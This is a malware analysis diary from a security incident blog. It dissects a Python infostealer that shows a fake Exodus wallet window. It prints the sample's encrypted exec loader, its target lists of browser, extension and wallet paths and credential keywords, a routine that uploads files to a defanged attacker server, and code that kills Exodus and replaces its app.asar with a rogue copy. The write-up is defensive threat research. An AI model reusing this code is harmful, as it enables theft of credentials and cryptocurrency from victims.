My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Python Infostealer Patching Windows Exodus App

Published: 2024-09-18. Last Updated: 2024-09-18 07:43:00 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

A few months ago, I wrote a diary[1] about a Python script that replaced the Exodus[2] Wallet app with a rogue one on macOS. Infostealers are everywhere these days. They target mainly browsers (cookies, credentials) and classic applications that may handle sensitive information. Cryptocurrency wallets are another category of applications that are juicy for attackers. I spotted again an interesting malware that mimics an Exodus wallet by displaying a small GUI:

Note: I had to slightly patch the script to make it unable in my lab and there were some encoding glitches.

Besides this, the Python script will also patch the official Windows Exodus app! The file is detected by only 12 antivirus products on VT (SHA256:d7a2d2bcc79674fa28af289a5efa1e399b89333595b22029c53ee4b7a74575e8)[3]. It uses TK to build the window:

class FakeExodusWallet:
    def __init__(self, root):
        self.root = root
        self.root.title("Exodus Wallet - Fake Balance")
        self.cryptos = {
            "BTC": {"balance": 0, "symbol": "?"},
            "ETH": {"balance": 0, "symbol": "Ξ"},
            "LTC": {"balance": 0, "symbol": "?"},
            "DOGE": {"balance": 0, "symbol": "Ð"},
            "ADA": {"balance": 0, "symbol": "?"},
            "DOT": {"balance": 0, "symbol": "?"},
            "XRP": {"balance": 0, "symbol": "?"},
            "BCH": {"balance": 0, "symbol": "?"},
            "LINK": {"balance": 0, "symbol": "?"},
            "BNB": {"balance": 0, "symbol": "?"}
        }
        self.transaction_history = []
        self.create_widgets()
        logging.info("Initialized the FakeExodusWallet application.")

# total gui iit
def create_widgets(self):
    self.notebook = ttk.Notebook(self.root)
    self.notebook.pack(pady=10, expand=True)
    self.balances_frame = ttk.Frame(self.notebook, width=400, height=280)
[...]

But the magic is happening at the very beginning of the script:

import os
os.system('pip install cryptography')
os.system('pip install fernet')
os.system('pip install requests')
from fernet import Fernet
import requests
exec(Fernet(b'RQM6XC1LA3UXTofVJbEGtzGHdHC8617D3uyXnMr48Os=').decrypt(b'gAAAAABm4y_i0oCohYOMNdnNZx5GmZNm_3Z3KUb86T9Du2GQLZcR1HC-d59K11hfFUGoFkyDeydPXCIQhoyM-o4vdlkSiHXKtE4BAlp5E2m0tiFnSHARdTr-xucIsWEO3Hfy0MaKIax6vPleDPTheEsEJBtOPjsJS-ogF-5WcsilggMgjxflfkm4e_xZ0kHlfUhiaoJVnGSX2MgyMHNWnFS3VoHyCh8qUQ=='))

This code will fetch the next payload from hxxps://1312services[.]ru/paste?userid=11 and fetch another piece of Python script. This one, once unpacked, will decode another one that will be the real payload: the infostealer. It has classic features to target browsers and extensions:

CHROMIUM_BROWSERS = [
    {"name": "Google Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe"},
    {"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"), "taskname": "msedge.exe"},
    {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable"), "taskname": "opera.exe"},
    {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable"), "taskname": "opera.exe"},
    {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"), "taskname": "brave.exe"},
    {"name": "Yandex", "path": os.path.join(APPDATA, "Yandex", "YandexBrowser", "User Data"), "taskname": "yandex.exe"},
]

BROWSER_EXTENSIONS = [
    {"name": "Authenticator", "path": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai"},
    {"name": "Binance", "path": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp"},
    {"name": "Bitapp", "path": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi"},
    {"name": "BoltX", "path": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca"},
    {"name": "Coin98", "path": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg"},
    {"name": "Coinbase", "path": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad"},
    {"name": "Core", "path": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb"},
    {"name": "Crocobit", "path": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke"},
    {"name": "Equal", "path": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac"},
    {"name": "Ever", "path": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk"},
    {"name": "ExodusWeb3", "path": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno"},
    {"name": "Fewcha", "path": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj"},
    {"name": "Finnie", "path": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj"},
    {"name": "Guarda", "path": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln"},
    {"name": "Guild", "path": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj"},
    {"name": "HarmonyOutdated", "path": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib"},
    {"name": "Iconex", "path": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel"},
    {"name": "Jaxx Liberty", "path": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne"},
    {"name": "Kaikas", "path": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi"},
    {"name": "KardiaChain", "path": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk"},
    {"name": "Keplr", "path": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap"},
    {"name": "Liquality", "path": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn"},
    {"name": "MEWCX", "path": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm"},
    {"name": "MaiarDEFI", "path": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm"},
    {"name": "Martian", "path": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk"},
    {"name": "Math", "path": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc"},
    {"name": "Metamask", "path": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn"},
    {"name": "Metamask2", "path": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm"},
    {"name": "Mobox", "path": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo"},
    {"name": "Nami", "path": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo"},
    {"name": "Nifty", "path": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid"},
    {"name": "Oxygen", "path": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh"},
    {"name": "PaliWallet", "path": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn"},
    {"name": "Petra", "path": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci"},
    {"name": "Phantom", "path": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa"},
    {"name": "Pontem", "path": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba"},
    {"name": "Ronin", "path": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec"},
    {"name": "Safepal", "path": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa"},
    {"name": "Saturn", "path": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig"},
    {"name": "Slope", "path": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo"},
    {"name": "Solfare", "path": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic"},
    {"name": "Sollet", "path": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno"},
    {"name": "Starcoin", "path": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk"},
    {"name": "Swash", "path": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog"},
    {"name": "TempleTezos", "path": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc"},
    {"name": "TerraStation", "path": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp"},
    {"name": "Tokenpocket", "path": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii"},
    {"name": "Ton", "path": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd"},
    {"name": "Tron", "path": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec"},
    {"name": "Trust Wallet", "path": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph"},
    {"name": "Wombat", "path": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih"},
    {"name": "XDEFI", "path": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf"},
    {"name": "XMR.PT", "path": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm"},
    {"name": "XinPay", "path": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo"},
    {"name": "Yoroi", "path": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb"},
    {"name": "iWallet", "path": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj"}
]

But also wallets:

WALLET_PATHS = [
    {"name": "Atomic", "path": os.path.join(APPDATA, "atomic", "Local Storage", "leveldb")},
    {"name": "Exodus", "path": os.path.join(APPDATA, "Exodus", "exodus.wallet")},
    {"name": "Electrum", "path": os.path.join(APPDATA, "Electrum", "wallets")},
    {"name": "Electrum-LTC", "path": os.path.join(APPDATA, "Electrum-LTC", "wallets")},
    {"name": "Zcash", "path": os.path.join(APPDATA, "Zcash")},
    {"name": "Armory", "path": os.path.join(APPDATA, "Armory")},
    {"name": "Bytecoin", "path": os.path.join(APPDATA, "bytecoin")},
    {"name": "Jaxx", "path": os.path.join(APPDATA, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")},
    {"name": "Etherium", "path": os.path.join(APPDATA, "Ethereum", "keystore")},
    {"name": "Guarda", "path": os.path.join(APPDATA, "Guarda", "Local Storage", "leveldb")},
    {"name": "Coinomi", "path": os.path.join(APPDATA, "Coinomi", "Coinomi", "wallets")},
]

As you can see, it focuses mainly on cryptocurrency applications. Files are also searched for interesting keywords:

FILE_KEYWORDS = [
        "passw",
        "mdp",
        "motdepasse",
        "mot_de_passe",
        "login",
        "secret",
        "account",
        "acount",
        "paypal",
        "banque",
        "metamask",
        "wallet",
        "crypto",
        "exodus",
        "discord",
        "2fa",
        "code",
        "memo",
        "compte",
        "token",
        "backup",
        "seecret"
]

A lot of words are French ones!

Data is of course exfiltrated:

def upload_to_server(filepath):
    for i in range(10):
        try:
            url = "hxxps://1312services[.]ru/delivery"
            files = {'file': open(filepath, 'rb')}
            headers = {'userid': userid}
            r = requests.post(url, files=files, headers = headers)
            if r.status_code == 200:
                break
        except: pass

But the most interesting behavior is the patching of Exodus and Atomic. Let's have a look at Exodus;

def inject():
    procc = "exodus.exe"
    local = os.getenv("localappdata")
    path = f"{local}/exodus"
    if not os.path.exists(path): return
    listOfFile = os.listdir(path)
    apps = []
    for file in listOfFile:
        if "app-" in file:
            apps += [file]
    exodusPatchURL = "hxxps://1312services[.]ru/wallet"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
    req = Request(exodusPatchURL, headers=headers)
    response = urlopen(req)
    data = response.read()
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
    for app in apps:
        try:
            fullpath = f"{path}/{app}/resources/app.asar"
            with open(fullpath, 'wb') as out_file1:
                out_file1.write(data)
            licensepath = f"{path}/{app}/LICENSE"
            with open(licensepath, "w") as out_file2:
                out_file2.write(userid)
        except: pass

This piece of code will grab a rogue "app.asar" file (SHA256:84c4a9dbe24cdae8e2ad9bd7eb3d116cea7f5202cd92a49fa3cc005ec585b95a). The original file will be replaced. The file is an ASAR[4] archive. This file format is used by Electron applications. Let’s inspect it:

remnux@remnux:/MalwareZoo/20240917$ asar list app.asar | more
/package.json
/src
/src/16420818ab98cf8c81f2d64f045d92bc.tgz
/src/app
/src/app/_local_modules
/src/app/_local_modules/components
/src/app/_local_modules/components/Logo
/src/app/_local_modules/components/Logo/ex-trezor.svg
/src/app/core
/src/app/core/index.js
/src/app/keyviewer
/src/app/keyviewer/index.js
/src/app/main
/src/app/main/index.js
/src/app/monero
/src/app/monero/index.js
/src/app/network
/src/app/network/index.js
/src/app/nfts
/src/app/nfts/components
[...]

I tried to compare the app.asar against a valid Exodus install. The rogue version was pretty old (23.8.1) compared to the latest one (24.37.2). I did not find the official 23.8.1 release but I presume that the code has been modified to replace the wallet address with the one of the attacker in transactions.

If, by chance, you still have an Exodus wallet version 23.8.1, please share it with me!

[1] https://isc.sans.edu/diary/macOS+Python+Script+Replacing+Wallet+Applications+with+Rogue+Apps/30572
[2] https://www.exodus.com
[3] https://www.virustotal.com/gui/file/d7a2d2bcc79674fa28af289a5efa1e399b89333595b22029c53ee4b7a74575e8
[4] https://github.com/electron/asar

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives